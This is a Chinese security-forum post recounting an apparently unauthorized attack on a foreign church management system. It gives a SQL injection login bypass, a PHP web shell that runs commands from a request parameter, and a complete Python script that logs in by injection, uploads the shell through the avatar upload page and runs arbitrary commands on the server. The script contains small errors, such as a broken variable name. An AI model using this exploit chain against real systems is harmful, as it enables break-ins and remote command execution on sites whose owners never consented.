日常测试
前言
我习惯于在网上逛逛系统,有天突然逛到国外一管理系统,目测就是小资金开发,像这种类型的一般安全性很差,且存在postsql注入,废话不多说,我们来测试一波。
过程
sql注入成功登录
admin
a' or 1=1#
最重要的当然是拿shell了,先找上传点
我之前也说过,像这种样的教会安全性也不高,所以我们直接传上一个,远程执行的文件
<?php if(isset($_REQUEST['cmd'])){$cmd = ($_REQUEST['cmd']); system($cmd);die; }?>
但直接上传之后,啥也没有,没上传上去,这里也并不是说他管理员做了安全防护的,而是这个功能可能并没有做完善了,这个时候我们有两种选择,一:自己写包
二:写脚本。
我选择了二,因为像这种样的网站还有很多,写个脚本以后也方便
方法里清一色的都是get,虽说网站安全很差,但不能都用get吧,我们抓包看一下
这下确认过眼神了,是post方法,后台post并没有发出去,所以没有,我们现在知道了他的上传地址admin_pic.php
接下来还要知道上传到哪里了,这个就比较容易了,因为这是上传的头像,我们直接去头像看看
reg为它的初始化头像,并且我们还发现在未登录的情况下,任何文件都无法打开,这也是我唯一赞赏这个系统的地方了,所以这里还要在脚本里写个登录
经过无数次的验证失败后,终于成功,并且请教了大佬,问题出现在最后的远程代码执行上
关键代码os.system:system函数可以将字符串转化成命令在服务器上运行;我在脚本方面还是比较差的,之前都是直接加载字符串,那怎么可能加载出来啊,大家一定要好好学习一下脚本的制作,我们执行一下看看。
对,还有一个重点session.post直接调用创建session实例后,cookie是一直有效的
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import random
import os, sys
import argparse
import optparse
import string
if len(sys.argv) != 5:
print('Usage: -u http://<ip> -c <"command">')
print('ex. python3 http:-c "ls+-la"')
exit()
parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url")
parser.add_option('-c', '--cmd', action="store", dest="cmd")
options, args = parser.parse_args()
print(options.url, options.cmd)
print(len(sys.argv))
def randomGen(size=8, chars=string.ascii_lowercase):
return ''.join(random.choice(chars) for _ in range(size))
urlb ase = options.url + '/cman/admin';
loginUrl = urlb ase + '/index.php';
shellFile = randomGen() + ".php"
payload = {"username": "admin", "password": "a' or 'a'='a'#", "login": ""};
proxies = {"http": "http://localhost:8080"}
mp_encoder = MultipartEncoder(fields={
"image": (shellFile, "<?php if(isset($_REQUEST['cmd'])){$cmd = ($_REQUEST['cmd']); system($cmd);die; }?>",
"application/x-php"),
"change": ""})
session = requests.Session()
r = session.post(loginUrl, payload, allow_redirects=False) # , proxies=proxies)
cookie = r.headers["Set-Cookie"]
headers = {"Cookie": cookie, 'Content-Type': mp_encoder.content_type}
uploadUrl = urlb ase + "/admin_pic.php"
post = session.post(uploadUrl, data=mp_encoder, allow_redirects=False, headers=headers, proxies=proxies)
os.system("curl " + urlb ase + "/uploads/" + shellFile + "?cmd=" + options.cmd)
源码我也分享出来了,前面的头文件一般都用这几个
总结
像这种样的系统还有很多,我们一定要把最基本的安全做了,比如sql注入,对上传的限制(各种限制都要有,不能只做表面,安全行业的人员一定要加强脚本语言的能力,这点我和大家一样,在努力中。
- 本文作者: xingshen
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/276
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!